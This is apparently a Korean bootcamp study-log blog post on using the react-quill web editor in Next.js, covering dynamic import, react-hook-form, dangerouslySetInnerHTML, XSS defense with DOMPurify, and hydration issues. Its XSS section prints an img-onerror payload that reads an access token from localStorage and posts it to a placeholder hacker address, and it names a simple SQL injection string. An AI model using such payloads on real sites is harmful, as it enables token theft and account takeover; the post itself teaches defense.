27일차 웹에디터 이해와 실습

osdsoonhyun·2023년 3월 19일
0

코드캠프

목록 보기
19/22
  1. 텍스트 말고, 웹에디터로 꾸미기! -> Web-Editor
  2. 로컬스토리지는 위험하다. -> Cross-Site-Script(XSS)
  3. 하이드레이션에서 CSS 문제 발생 -> Hydration-Issue

웹에디터의 종류와 이해

  • 게시글을 등록할 때 필요한 input, textarea 태그는 내용을 입력할 때 줄 바꿈을 주었더라도 내용 데이터를 출력할 때에 줄 바꿈에 대한 결과를 따로 처리해주지 않으면 한 줄로 내용을 출력하게 된다.

  • 그 외에도 내용 중에서 더 중요한 부분을 표시하고 싶다거나 폰트에 색깔을 추가하고 싶다거나 하는 등의 스타일 지정이 필요하지만, textarea 태그는 그러한 기능을 제공하지 않는다.

  • 이러한 textarea의 단점들을 보완해서 좀 더 스타일리쉬하게 내용을 작성할 수 있도록 도와주는 웹 에디터 라이브러리들이 있다.

  • React Draft Wysiwyg

  • React Quill -> 다운로드 수 가장 많다.

  • toast-ui-editor -> 국내에서 사용하고 다운로드 수도 많다.

NPM:react-quill

라이브러리 사용시 발생하는 SSR 이슈와 보완방법 - dynamic import

  • localStroage, window, document 에러와 마찬가지로 document.getElementBy('id')에서 가져오는 것처럼 이 에러는 html과 관련있고 브라우저에서 document를 찾을 수 없다는 에러이다.

  • React-Quill 안에서 document에 접근하고 있다고 예상할 수 있다.

  • 프로그램을 실행시키면 처음에 프로그램이 프론트엔드 서버(Webpack Server)에서 한번 실행하고 브라우저로 가지고 와서 화면에 그려주는데, 이렇게 프론트엔드 서버에서 html을 받아오기 전에 실행되는 것을 pre-rendering이라 한다.

  • Next.js 는 기본적으로 서버사이드 렌더링을 지원하는데, 서버에서 페이지를 미리 렌더링 하는 단계에서는 브라우저 상이 아니기 때문에 window나 document가 존재하지 않는다.

  • 브라우저에서 그리면 문제가 없었겠지만 프론트엔드 서버에서 프로그램을 실행시켜서 window 또는 document object 를 선언하기 전이기 때문에 document가 선언되지 않았다는 에러가 발생하는 것이다.

위 문제를 해결하기 위해 브라우저에만 보여주도록 하는 3가지 방법
1. useEffect
2. typeof window
3. process.browser

Velog

typeof window

if(typeof window === "undefined") {
 ... 
}
  • 위 코드를 사용하여 서버에서 처리할 내용을 적어주는 방법

process.browser

  • 가장 쉽게 해결하는 방법이지만 에러를 해결하지 못하였다.
  • 가끔 import 자체가 되지 안되는 라이브러리가 있다.

dynamic import

  • react-quill을 Browser일때만 import 되도록 직접 조작해보자.
  • 이 문제를 해결하기 위해서는 document 가 선언된 시점 이후에 React-Quill을 import 해야 한다.
  • dynamic은 해당 모듈을 호출하는 시점을 document에 대한 정보가 선언된 후의 시점으로 옮겨서 호출을 할 수 있게 도와준다.
  • 즉, 빌드되는 시점에서 호출하지 않고 런타임 시점에서 모듈을 호출해서 이미 document 가 선언되어 있는 시점의 환경을 제공해줄 수 있다.
  • 브라우저에서만 import를 시키는 방법 -> next에서 제공하는 동적으로 import 하기: dynamic import
  • dynamic을 next/dynamic에서 가져와 사용했고, 가져온 dynamic내 에서 react-quill을 가져와 ServerSideRendering은 하지 않도록 설정해 주었습니다!
import dynamic from "next/dynamic";

const ReactQuill = dynamic(()=>import(‘react-quill’),{ssr:false})
  • ReactQuill은 리액트에 최적화된 라이브러리이다. 리액트의 경우 Next와 달리 pre-rendering 과정이 없기 때문에 이 같은 에러가 발생하지 않는다.

그렇다면 react와 달리 nextjs는 pre-rendering이 있어 두 번씩 그리는데 비효율적인거 아닌가?
그렇지 않다. 이것은 Hydration에서 설명하겠다.

// import ReactQuill from 'react-quill';
import dynamic from 'next/dynamic';
import 'react-quill/dist/quill.snow.css';

const ReactQuill = dynamic(async () => await import('react-quill'), {
  ssr: false,
});

export default function WebEditorPage() {
  //ReactQuill 만든 사람들이 만든 onChange 이므로 event 안들어옴
  const onChangeContents = (value: string) => {
    console.log(value);
  }

  return (
    <>
      작성자: <input type="text" />
      <br />
      비밀번호: <input type="password" />
      <br />
      제목: <input type="text" />
      <br />
      내용: <ReactQuill onChange={onChangeContents} />
      <br />
      <button>등록하기</button>
    </>
  );
}

이런 dynamic import는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능최적화에도 기여 한다.

dynamic import를 이용한 성능 최적화

  • 자바스크립트가 한 줄씩 실행된다고 했는데, 함수는 선언만 될 뿐이지 안에 있는 내용이 실행되는 것이 아니다. 실행은 실제로 그 이벤트가 발생했을때, 등록하기를 클릭하거나 change가 일어났을 때 실행되는 것이다. 페이지에 처음 접속했을때 스크립트에서 실행되는 것(jsx 부분은 실행됨)은 단지 선언뿐이고 함수 내부의 실행 시점은 이벤트가 발생했을 때이다.

  • 페이지에 접속하면 Html 뿐만 아니라 사용하고 있는 import도 다운받아오는데, 개발자도구 - Network tab에 보면 다운로드 받게 오는게 많아지고 DOMContentLoaded가 길어져 첫 페이지의 로딩시간이 오래걸린다.

  • 카카오맵 할 때도 모든 페이지에서 다운받지 않은 이유가 로딩시간을 단축시키기 위함이다.

  • 전체 페이지에서 17번째 줄의 Modal이 한 번만 사용된다하면 import를 하여 처음부터 Modal을 다운 받아오는 것이 아니기 때문에 처음 페이지 렌더링 속도는 빨라지고 등록하기를 클릭했을때 import해와서 모달을 띄워주면 된다.

  • React에서는 바로 사용하는 dynamic import이고 next는 pre-rendering이 있기에 서버에서 import 되는 것을 막기 위해서 dynamic import 해준다.

const {Modal} = await import('antd');
Modal.success({content: '등록 성공'}); // code-splitting (코드 스플릿팅)
  • 모달을 antd에서 모달만 꺼내오므로 구조분해할당 시킨것
  • 만약 클릭할지 말지도 모르는 상황에서 미리 다운받아 놓는 것은 성능을 저하시키는 것이다.
  • 이렇게 다운로드를 나눠놓음으로써 최초 렌더링 속도를 빠르게 하였고 코드를 분리했다고 해서 코드 스플릿팅이라 한다.

정리
반드시 다운로드를 받아도 되지 않아도 되는 부분은 dynamic import를 사용해 필요한 시점에 다운 받아 올 수 있도록 하면 초기에 다운속도가 향상되어 초기 로딩속도가 향상된다.

따라서 성능최적화에도 기여한다.

이렇게 필요한 시점에 import 해올 수 있도록 도와주는 것을 코드를 분리했다고 해서 코드 스플릿팅이라고 한다.

======> 코드 넣기( 모달 삽입된 )

웹에디터에 react-hook-form 적용하기

setValue(Feat. 조건부렌더링)

  • useForm의 register를 사용하여 contents 등록하려는데 register 안에 onChange도 들어가 있기 때문에 겹치면서 ReactQuill이라는 컴포넌트에 register가 적용되지 않기 때문에 수동으로 넣어야 한다.
  • useForm에서 제공하는 setValue를 이용하면 된다. setValue 안에 key값으로 제목인지, 비밀번호인지, 내용인지 적어주고 value를 강제로 넣어주어야 한다.
  • 또한 웹에디터는 사용자가 태그를 클릭했을 때 작성한 내용의 앞 뒤로 <u>, <strong> 등의 html 태그를 붙여서 데이터베이스에 저장했는데, 에디터 입력칸의 모든 내용을 지워도 <p><br><p>가 기본적으로 남아있다!
  • 따라서 내용을 다 지웠으면 찌꺼기를 없애주기 위해 삼항연산자를 사용해 처리해 주어 강제로 초기화해주었다. 그럼 저장된 값은 실제로 빈 값이 들어간다.
const { register, setValue } = useForm({
    mode: "onChange",
  });
  // ReactQuill 만든 사람들이 만든 OnChange 이므로 Event 안들어옴
  const onChangeContents = (value: string) => {
    console.log(value);
    
    // register로 등록하지 않고, 강제로 값을 넣어주느 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);
  };

trigger

  • 또한 useForm의 mode를 onChange로 바꿔주어 입력을 할때마다 검증을 해서 re-rendering을 시켜주었다. 모두 hook에 onChange로 들어가면 비제어 컴포넌트가 안된다. React-hook-form이 비제어 컴포넌트 방식이긴 하지만 에러 메세지가 변경될 때마다 화면에 뿌려주어야 하고 검증을 해서 버튼 색 변경해야 하기 때문에 제어 컴포넌트로 바뀐다.
  • register에 들어간 것들은 모두 입력할 때마다 비교를해서 실시간으로 반영을 해주지만 contents는 저장했다고 onChange mode가 되는 것이 아니기 때문에 value는 바뀌지만 change에 대해 반영해주지(trigger하지) 못한다. (입력과 onChange는 별개)
  • 값만 변경되었을 뿐, contents의 입력 여부는 검증할 수 없다. 그렇기 때문에 onChange 됐다고 react-hook-form에 강제로 알려주는 기능인 trigger가 useForm에 내장되어 있다.
const { trigger } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // onChange 됐다고 React-hook-form에 강제로 알려주는 기능!!
    void trigger('contents');
  };

===== 전체코드 ㄱ삽입=====

웹에디터로 게시글 등록하기

  1. 입력 태그들을 form으로 감싸고, form에 onSubmit 요소를 더한다.
  2. react-hook-form의 handleSubmit을 이용해서 submit 버튼 클릭 시 실행할 함수를 onSubmit에 넣는다.
  3. 해당 함수 안에 createBoard 요청을 넣는다. 그리고 요청 성공시 해당 게시글의 상세 페이지로 이동하도록 다이나믹 라우팅을 해준다.
export default function WebEditorPage() {
  const router = useRouter();
  const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };

  const onClickSubmit = async (data: IFormValues) => {
    if (!(data.writer && data.password && data.title && data.contents)) {
      Modal.warning({ content: "필수 입력 사항입니다." });
      return;
    }

    try {
      const result = await createBoard({
        variables: {
          createBoardInput: {
            writer: data.writer,
            password: data.password,
            title: data.title,
            contents: data.contents,
          },
        },
      });
			// 완료된 페이지로 이동!!
      router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`);
    } catch (error) {
      if (error instanceof Error) Modal.error({ title: error.message });
    }
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

웹에디터로 등록한 게시글 보여주기

  • 입력된 웹 에디터 내용을 화면에 출력해보자.
  • 작성 페이지에서 게시글을 입력하고 게시글 등록 요청을 보낸다.
  • 그러면 상세 페이지에서 다음과 같이 HTML 태그가 포함된 내용이 들어오는 것을 볼 수 있다.

  • 웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력이 되기 때문에 HTML 태그들을 노출하지 않으면서 HTML 태그 기능만 적용된 형태로 화면에 출력해야 한다.

  • 그런데 우리가 사용하고 있는 React 프로젝트에서는 기본적으로 HTML 보안 이슈로 인해 HTML 태그를 직접 삽입 할 수 없게 설정되어 있다.

  • React를 쓰는게 아닌 HTML에 직접 삽입하는 방법으로 코드를 실행해서 변형해서 실질적인 내용만 보여주기

  • dangerouslySetInnerHTML 속성으로 Html에 태그 자체를 그대로 삽입하는 방법이 있다.

<div dangerouslySetInnerHTML={{ __html :  data?.fetchBoard.contents(HTML 태그 추가)  }} />
  • dangerouslySetInnerHTMLdiv 또는 span 태그에 제공되는 속성인데, 위험을 감수하고 HTML 태그를 추가할 때 사용하는 속성이며, __html 속성 값에 추가하려는 데이터를 입력해주면 된다.

  • 위와 같은 구조로 웹 에디터로 입력된 HTML 데이터를 dangerouslySetInnerHTML 속성을 이용해 div 태그에 입력해주면 HTML 태그들이 적용된 결과가 웹페이지에 출력 되는 것을 확인할 수 있다.
export default function WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );

  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
    </div>
  );
}

크로스 사이트 스크립트(XSS)

  • dangerouslySetInnerHTML을 이용하면 웹에디터에 입력한 html 태그가 적용된 형태로 내용을 받아올 수 있다.
  • 하지만 이러한 것은 공격 받을 여지가 매우 큰 위험한 방식이다.
  • 사이트를 크로스해서 Script를 삽입 공격
  • 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS)라고 한다.

XXS 공격 방법하는 방법(ReactQuill)

  1. ReactQuill

  • ReactQuill에서 위 그림과 같이 <script>...</script> 에서 <> 부분을 lt(less than), gt(greater than)으로 들어가서 태그로 실행되지 않기 때문에 1차적인 방어가 된다.

  • html에서 태그로 실행해줘! dangerouslySetInnerHTML 라는 태그를 썼음에도 불구하고 태그로 등록되지 않고 문자열로 화면에 보여진다.

  • 백엔드가 다이렉트로 해킹당했을 때 태그로 강제로 등록해야 한다.

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />
  • script는 쉽게 막히기 때문에 위와 같은 img태그에 onerror라는 속성을 더해, 해당 태그를 dangerouslySetInnerHTML 속성을 이용해 불러왔을 때 사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있다.

  • onerror란 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소이다. 일반적으로는 대체 이미지 경로를 입력한다.

  • 코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 된다.

  • 예시는 간단한 코드이지만, onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에 dangerouslySetInnerHTML을 이용할 경우 사용자의 민감 정보가 손쉽게 탈취당할 위험에 노출되어 있다고 볼 수 있다.

예시로 들었던 스크립트를 활용한 토큰 탈취처럼, 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 한다.

  • 문자열이 아닌, 태그의 기능 그 자체로 인식되도록 만들기 위해 dangerouslySetInnerHTML 이라는 속성을 사용해주었다. 하지만 이 방식에는 보안상 큰 맹점이 있다.
  • 바로 CrossSiteScript (XSS) 문제점이 보안상의 문제이다.
  • XSS 공격을 받게되면 토큰탈취와 같은 보안상의 문제가 생기는데, 다행히 react-quill 라이브러리에서는 태그를 의미하는 단어인 '<', '>' 등을 <, >와 같이 변경하여 문제가 발생하지 않도록 사전에 차단해 주었습니다. 하지만, 다른 어느 곳에 취약점이 있을지 알 수 없습니다!

XXS 공격 방어하는 방법(Dompurify)

  • 백엔드 개발자가 playground에 들어오지 못하도록 막아야하고 만약 백엔드에서 뚫려서 playground로 들어오더라도 <> 부분을 처리하여 태그로 실행 안되게끔 해줘야 한다.

  • 프론트엔드에서는 화면에 보여줄 때 innerHTML에서 세팅을 할 때 위와 같은 것이 있다면 한 번 더 막아줘야 한다.

  • 위와 같은 공격 코드가 들어있으면 자동으로 차단해주는 DOMPurify를 라이브러리를 이용하면 된다.

  • 따라서, XSS공격에서 보안을 더 강화하기 위해 dompurify라는 라이브러리의 sanitize를 활용하여 막아준다.

  • 보완에 대비하여 하는 코딩을 secure coding이라 한다.

{process.browser &&
	<div
		dangerouslySetInnerHTML={{
			__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
		}}
	/>
}
  • 서버 사이드 렌더링 에러를 해결하기 위해 조건부 렌더링을 추가해서 작성해야 한다.

SQL Injection

  • 해커가 비밀번호는 모르지만 비밀번호에 qqq || 1===1를 넣어주어 뒤에 것이 맞으니 로그인 되도록 하여 accessToken을 가져오는 공격이다.
  • 백엔드에서 처리를 해줘야 한다.

dompurify를 통한 조건부렌더링시 발생 가능한 하이드레이션 이슈

return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser && (
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

  • yarn dev해서 렌더링된 모습을 보면 제목 부분이 녹색이 아니라 파란색인 것을 확인할 수 있다.

  • Hydration Issue 때문에 이러한 현상이 일어난다. 구체적인 원인을 한 번 살펴보자.

  • 결론 먼저 말하면, 서버에서 pre-rendering 할 때랑 브라우저에서 그릴때와 달라서 이런 문제가 발생한다.

  • diffing 과정이 실행되고, server에서 pre-rendering된 태그와 browser에서 태그를 비교하고, 서버에서 한번 그려준 내용을 Browser에 그려내는 과정(Hydration)에서 발생하는 오류이다.

  • 서버에서 pre-rendering시 그릴때 없던 것이 브라우저에서 그릴 때 갑자기 생기니 서버에서 그린 것으로 덮어쓰기 된 것이다.

  • pre-rendering 시 다 그리는 것이 아니라 태그와 CSS 정도만 그려보고 브라우저에 와서 다시 그리는데, 모든 것을 다시 다 그리는 것은 비효율적이니 서버에서 그린 것을 가지고 와서 그린다.

  • Next.js는 위와 같은 과정을 거쳐 페이지를 그린다.

  • 프론트서버에 그려본 그림을 브라우저에서 그린 그림과 비교를 하게 되는데 이 과정을 diffing이라고 한다.

  • 이 diffing 단계에서 태그를 기준으로 비교하기 때문에, **프론트엔드 서버에서 pre-rendering된 결과물****브라우저에서 그려진 결과물**의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용된다.

  • 그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 한다.

예시 태그를 다음과 같이 수정하면 서버에서도 green으로 그려놨기 때문에 오류 없이 화면에 렌링되는 것을 확인할 수 있다.

return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {process.browser ? (
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		) : (
			<div style={{color: "green"}} />
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

Q) 그렇다면 이렇게 두 번씩 그리는 Next.js는 비효율적이지 않을까?
A) 전혀 그렇지 않다. 오히려 빠르다.

React

  • 리액트는 SPA이기에 처음에 모든 페이지의 html,css,js를 다운로드 받기 때문에 서버에 다시 요청하지 않고 화면 이동을 한다. 리액트는 /만 만들고 나머지 브라우저는 가짜 주소를 보여준다.
  • 그렇기에 처음 접속할 때 다운로드 받을 파일이 많으니 느리고 나머지는 빠르다.

  • build는 배포를 의미하고 모든 코드를 최적화, 압축 과정을 거친다.
  • 모든 페이지의 JS,CSS 코드를 다운로드 받고 화면 그리는 것은 해당 주소에 맞는 HTML,CSS,JS를 렌더링 한다.

Q) 그렇다면 어떻게 해야 처음 접속을 빠르게 할 수 있을까?
A) Next.js를 사용하면 된다.

Next

Q) Next.js는 서버에서 먼저 pre-rendering하고 결과를 다운로드 받아서 브라우저에서 hydration하니 서버에서도 그리고 브라우저에서도 다시 그리면 더 느린거 아닐까?
A) 배포할 때 build 하게 되면, 모든 페이지를 미리 그린 .next 폴더가 만들어진다!

  • 배포할 때 build 명령어를 실행하면 이미 모든 페이지를 pre-rendering해서 파일 상태로 만들어놓는다. 그리고 그 완성된 파일을 다운로드 받아오기 때문에 pre-rendering된 결과를 화면에 미리 보여줄 수 있다.

  • build 하게 되면, .next 파일이 만들어지고 모든 파일의 pre-rendeing된 html,css가 만들어져 있다. 접속하면 모든 페이지를 받아오는 것이 아닌 해당 페이지의 html만 가지고 와서 화면에 보여준다. 이후에 자바스크립트로 실행을 해서 hydration 과정을 거치게 된다. 그러니 배포시 모든 파일을 미리 만들어놓기 때문에 pre-rendering하는 과정이 사라진다.
  • 그러니 페이지에 접속하면 pre-rendering된 Html 해당 페이지의 코드만 받아와서 그린다. 일단 자바스크립트는 동작하지 않고 link태그도 해당 페이지의 css만 가져오고 script도 모든 자바스크립트를 가져오지 않고 공통된 script, 필요한 것만 가지고 오기 때문에 React보다 빠르다.
  • 자바스크립트를 가져오지 않았기 때문에 버튼 클릭과 같은 기능은 되지 않지만 화면은 빠르게 보여진다.(4번)
  • onClick~ , onClickSubmit~, use~와 같은 현재 페이지 자바스크립트를 가지고 와서 적용시킨다. (6,7번)
  • 이것을 수분 공급이란 뜻의 hydration이라 한다.
  • 최종 결과에 대한 속도는 React, Next가 차이 없을 수 있지만 화면을 보여주는 것에 있어서 Next가 필요한 부분만 가지고와서 먼저 그려주고 이후에 hydration 과정을 거치기 때문에 매우 빠르다.

Next.js Hydration과 css

  • return 안의 내용은 js가 아닌 JSX로 HTML을 흉내낸 javascript 코드로 html이 아니라 html로 변환한것이다. 변화해주는 이런 Javascript 코드를 가장 마지막으로 다운 받아온다 .

  • .next폴더에 server에 보면 button2는 안 만들어진 것을 볼 수 있다.
  • 버튼1, 버튼3만 화면에 보여진다. 보여지는 속도는 매우 빠르고 동작하도록하는 전체 자바스크립트 코드는 2차적으로 다운 받아와서 맞는지 화면에 리렌더링해주고 hydration 한다.
  • Next.js는 프론트엔드 서버에서 미리 그려보서 화면에 빠르게 보여주는 pre-rendering 과정을 거쳐 페이지를 먼저 보여주고 자바스크립트는 뒤에 가져와서 프론트서버에 그려본 그림을 브라우저에서 그린 그림과 비교를 하게 되는데 이 과정인 diffing(비교) 이후에 재렌더링해주면서 hydration을 같이 한다.
  • pre-rendering에서 주의하셔야 할 점은 SSR과 다르게 데이터가 들어와 있지 않아 SSR다르다는 점 이다!

  • 이를 해결하기 위해서는 Browser의 태그 개수와 server상의 태그 개수를 맞춰주어야 한다!
  • browser가 아니라면 빈 태그를 보여주는 조건부 렌더링을 걸어 개수를 맞춰 해결한다.

소소한 꿀팁

OWASP TOP10

  • OWASPOpen Web Application Security Project의 약자로 **오픈소스 웹 애플리케이션 보안 프로젝트** 이다.

  • 주로, 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하며 10대 취약점을 발표하며, 3-4년에 한 번씩 정기적으로 업데이트 된다.
    OWASP

0개의 댓글